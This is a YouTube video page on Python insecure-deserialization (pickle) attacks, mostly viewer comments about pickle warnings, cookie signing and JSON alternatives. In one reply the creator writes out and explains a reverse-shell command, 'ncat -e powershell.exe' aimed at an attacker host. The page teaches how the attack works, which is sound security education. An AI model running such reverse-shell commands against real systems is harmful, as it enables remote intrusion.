Insecure Deserialization Attack Explained
ฝัง
- เผยแพร่เมื่อ 1 ต.ค. 2024
- #Deserialization #WebSecurity
We'll explore the basic concepts of an Insecure Deserialization by attacking a web app written in Python.
🐤 Twitter: / pwnfunction
🎵 Track: Warriyo - Mortals (feat. Laura Brehm)
NCS link: • Warriyo - Mortals (fea...
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Cool
I hate you
Well that was mean! xD But i like it ;)
Smart Ass!!
BTW: how can you italicize the python keywords in VSCode?
Can’t copy youtube comments on mobile :(
But i recognize the ey, that’s JSON!
Amazing video! It would be great if you could also include a small section at the end on how to defend against these vulnerabilities for the blue team people out there :D
Noted
Yes it is....
The simple way to defend against such attack is to check cookie string at first place, that this cookie was created by your server, before calling serializer. I mean Digital signature at cookie.
Certain serialization methods are also more secure than others. For example, don't use pickle. It literally has a huge warning at the top of it's documentation saying not to use it to (de)serialize untrusted data. Other forms like JSON are more secure (though check documentation for whichever library you might want to use to be sure.) This can still depend on your implementation though. JSON isn't secure just because it's JSON, if you write a deserializer that generates and runs code from the JSON, that could still be a vulnerability.
@@dacid44 just write the serialization and deserialization yourself with two methods. Boom easy
This channel is so underrated
completely, i just discovered it, the end music is perfect
@@loanqypol6797 agreed
It's a programming channel
No matter how good it is, most people are sadly extremely bored by programming content
@@thatguy5277 In fact, Programming is actually so enjoyable if u wish to learn it.
I don't see how python is particularly vulnerable to this. You using an insecure package is not the languages fault.
Especially if the documentation of the package screams THIS IS INSECURE! DO NOT USE WITH UNTRUSTED INPUTS
it's about the concept...
So normally the client would send a pickled + base64 encoded session object to the server? That means there should be Python running on the Client Browser? This is the easiest security hole to stuff, just don't use pickles. Use JSON or XML instead.
youre right, I didn't even know someone would actually restore objects in this way.
Just imagine if this guy creates his own course. That would be crazy.
Is that sarcastic or there truly aren't any? :((
One of the best tutorials channel out there, MADE RESPECT TO YOU
made respect. yeah-...
I don't get the web exploit:
1.Does the server must have python installed or is this some kind of a asm shellcode?
2.You didn't show the deserialization code on the server
3.How can one distinct between local effects and remote successful rce?
came for the penguin profile pic, stayed for the awesome content
I found your channel earlier today when trying to search for anyone explaining the difference between XSS in HTML and XSS in json requests. Haven't had the luck but saw your XSS video. Loved it a lot and shared it with my co-workers! Trying to advance myself in web application pentesting and understand everything. It's rare to see people explain in a good way and even get things drawn graphically in front of you. It helps a lot so thank you!
I've been working with this for about a year from being freshly new from university. All you learn is mostly the theoretical part and not the practical. What i've recently noticed is that i lack the knowledge in HTML to be able to perform and really understand XSSes. So i have also been on the look out to create a web application and use some HTML to really understand JavaScript.
p.s Just got myself two 1TB M2 SSD for my Raspian :P Already have pi-hole installed and will now fiddle with creating an OpenMediaVault to create my own NAS. Hoping by fiddling with stuff like this, will give me more knowledge in actual hacking and understanding it all. Will be fun! Love your videos! have only seen two of them. Saving the rest for the weekend. Good job with them all and greetings from Sweden! :P
I very much appreciate comments like these, thanks.
Also I do think it's necessary for one to learn HTML and Javascript to understand XSS on a fundamental level.
If you Deserialization object with verificarion is your fault not pythons , This can be done with any Language, nice video btw.
Quick question: how did python code run in the server? Is it converted to ASM or some global language?
Just one word PERFECT
🙏
@@PwnFunction 🙏
@@ifelseprog
SO PERFECT
function subscribe2PWN()
Redirection.load = subscribe
Site.function.load = www.youtube.com
(Not real html js)
Your timing with these videos is pretty good! When I finished a challenge about Server-Side Template Injections you uploaded the video about SSTIs. And today I finished a challenge about Deserialization Attacks and now you uploaded this! Haha, keep it going man :)
I can see the future because your computer is my computer.
@@PwnFunction 😂😂
😂
who in their right mind just unpickles random data?
Most disturbing part of this is that the server runs windows(or at least powershell).
You're doing an amazing job. I have no idea why you don't have like 2 mil subs. I'm sure that in like a year or two we'll be there as well.
Greetings from a fellow Gen Z-er from Croatia
I have a request dear brother/mentor. You are posting really good stuff here 😊 big congratulations for that 😊👍. We need a complete course from you covering all the basics to advanced of hacking... So that it is helpful for lots of new comers like me. 😊👍 Hope you consider this !!!!
and that's why you should always sign this kind of stuff
the only teachers which i like Pwn for these awesome videos and net-ninja for explainning java script and web technologies.
🙏
what font do you use for terminal?
so Insecure deserialize have 2 category?
- binary
- Web Application?
thats right?
great video! Got a ton out of this! Thank you so much for all your amazing content!
Not only that your explanations are great, but you got a huge talent to draw/sketch, so you should change the hobby... (just kidding). :)
i know this is old, but my question is, why the f!ck does python serialize methods? can't it have just a class that you then initialize like a struct in C(++) somehow (not familiar with python) with only the member variables and the methods will be stored only in your code?
how about to Link the Stackoverflow post?
stackoverflow.com/questions/19855156/whats-the-exact-usage-of-reduce-in-pickler
Thank you
Please , api attack
As Patrick star once said:
I’ve come for your pickle!!!
Who uses pickle for serialization/deserialization on production?
Basically, creator of the website trusts that you have given valid inputs instead of they checking your inputs.
amazingly i understood every bit of it...Thanks..it means alot!!!
Is 490 some joke of "XD" or was it actually 2020? :D
I swear Dude you're fuckin' genius Allah bless you
Absolutely Beautiful!
Veautiful video man
You deserve the like and subscribe
Hi , amazing video. Its possible let the app available to download in a docker environment ?
_lets write insecure code and show it's flawed_
C'mon, who writes that?
I have a good idea for you, might I suggest you try giving us some QNA notes or questions at the beginning of each video, giving us the necessary question, and then you go onto answer the questions in depth in the rest of the video.
Well done with ilustrations and quite a good explanation. Definetely would be useful to also hear how to defend against such attacks )
I have nothing to add, but to support this channel I will leave a comment.
What is the typography you're using on your vscode instance?
What software do you use for your screen explanation
Is this vulnerability still exists in Django?
one question, wouldnt this be an issue for all the existing restapi code we have,?
Great explanation of what de/serialization is !
even json deserialization is enough to break your machine. i see no reason to use pickle unless it is encrypted after serialization
really cool and easy to understand. Agree @NathanielWard
pretty sure he's using Operator Mono as a font.
$150 flex lmao
If you like seeing cursive in a monospace font, definitely give Victor Mono a try. It's a great free alternative. It also has a fair amount of ligatures supported and is quite stylish. Personally I use it in my code editor to stunt on tasteless peasants.
Yeah cyberpunk do look like that xD.
1:04 I love how you took a moment there and then actually estimate "5 hours or so" as though it was meant to be precise :D
WTF with this language? It serializes method bodies of objects? That's BS.
Why would you ever do that? It is the same as someone upload to your server a sting of code to execute.
Serialisation and deserialisation must be used only for data in objects (and this still have vulnerabilities)
It does not serialize actual methods, but it does serialize the tuple returned by the __reduce__ method, the first item of which is taken as the name an object that the deserializer calls, expecting it to return an initial version of the serialized object to be reconstructed. This call can be to any bound function in memory at the time of deserialization, which is what allows the exploit.
The pickle serializer was never intended to be used with untrusted data, certainly not from a user cookie in a web application. The pickle module documentation conspicuously warns about this.
imagine a noob friendly, new and popular language having an exploit such as this
It's not a problem with the language, its the serialization library that has the exploit. It even outright tells you not to use it for anything untrusted.
Not even the most security careless developers would use this kind of serialization in such a way so I'm not sure why this video was made.
@@someonerandom9939 ah that's some good context the video maker should've included, thanks
Your vids are amazing, thanks so much!
How do i know that the website has the vulnerability
binary from title says "FU" lol
Wait, what is the source code of the webpage ?
thanks a lot for this very educational content
I got error on def __reduce__(self) in this line
That Keeanu Reeves joke was funny man
Are Django websites vaulnarable to this attack? If so, how can it be prevented?
Nothing that doesn't use pickle is vulnerable to this
Pickle is not a normal (de)serialiser, it's an unsafe one, by design. It's made for a completely different use-case.
The python documentation on pickle is full of warnings about using it on untrusted data.
Most webapps use safe (de)serialisers and formats, like python's builtin 'json' module for the json format
thank you !!!! Awesome !!!
You awesome thank you
Your video quality is insane!
what is your font in visual studio?
Lession learned, just use json instead
you hyped me up for cybersec
Never, ever trust user-supplied data.
Maan ! Love your videos !
How come the base-64-encoded cookie has a run of AAAAAAAA in it? Is the cookie screaming? Does it need help? *Should I be concerned!?*
(but no really why is that there?)
In Base64, the letter “A” corresponds to the bits “000000”.
@@cmyk8964 So, long runs of zeroes get converted into A's. Or, emptiness gets converted into screaming. Sounds like midlife crisis.
Quality content like this is what is needed more. Kudos to you mate - waiting for more.
you're a legend!
Wowww the intro is killer
awesome presentation.
I didnt see comin, it was so fast !!!
каждый раз 10% это здорово спасибо за связки
Yo i have a question ! Is Laravel safe against these type of attacks ? Compared to Django witch is using python ( a prototyped style of OOP) it's possible to inject some functions in session cookie and execute them using something like constructor, but for Laravel i think it's impossible to do the same thing, so please correct me if i m wrong , and thanks in advance.
amazing 🔥
Did somebody know which musik playes in the backround
PS: thanks for your great videos
this is same thing happen last year about Drupal8 CMS , serialization RCE
it's pretty sad that people build systems that are actually this dumb. If I were to review a PR of an api that consumes a pickled object I'd make sure to close the PR instantly to make sure it doesn't get merged by others approving lol
Great video!!
I like science fiction. It's like in one of those movies!
Although this might / might not serve as proof of concept, I cannot imagine who would install those tools on the web server, nor how you could run them. I cannot tell how that PS crap works but why not just listen? I like the sparkle of interest it arouses but keep it real.. the day I see you open a console on port 80 you will lose a subscriber
I think K. Reeves is 491 in 2021. But the rest of the video is fine. Jokes apart, excellent as always
That was lit
I mean you have clear warnings in pickle docs, for a moment I thought you pulled it off as json
Can you explain this command powershell.exe hacker.man
ncat -e powershell.exe hacker.man 444
ncat ➜ netcat by nmap.org
-e ➜ execute command, in our case powershell.exe
hacker.man ➜ domain
4444 ➜ port
The netcat will act as a client that interfaces between the program powershell.exe on the target and the attacker's server(hacker.man:4444), basically a shell via reverse connection.
@@PwnFunction thank you so much
As I said the best TH-camr of Indian web security community.
If you don't know he is Indian!.
Any references? I can't believe it 😅
Ok i see now, from his intigriti profile
@@sudhanshurajbhar9635 We are proud of him😎
wow nice. his pronunciation is really good
+ 1 sub 👍
Thank you so much for your explaination, cant find anywhere else better than yours, hope you can make a lot more videos related to web vulnerabilities :D
Channels underrated but only one request would like mic volume to increase!!! 😍
This means the server should store cookies in python pickles, so that when reading pickled cookies to unpickle it, the bad code runs, this is a very specific situation, but its still a cool way to explain serialization and to say to not copy&paste random code into web compiler
.
The gif of the person banging his head against the desk accurately sums up my pentesting career… love all your content btw
Hey buddy 😕 what happens to your voice? Are you ok?
XD: very satisfying shell
Simple but great. Good work.
I hit like button at your example of Serialization! Great video and explanation! Thanks
Love your content, man! I'm curious about what you use to draw on screen? What software & hardware do you use for drawing?
man it's so damn cool! please keep creating videos. you'll be successful
Your videos are exceptional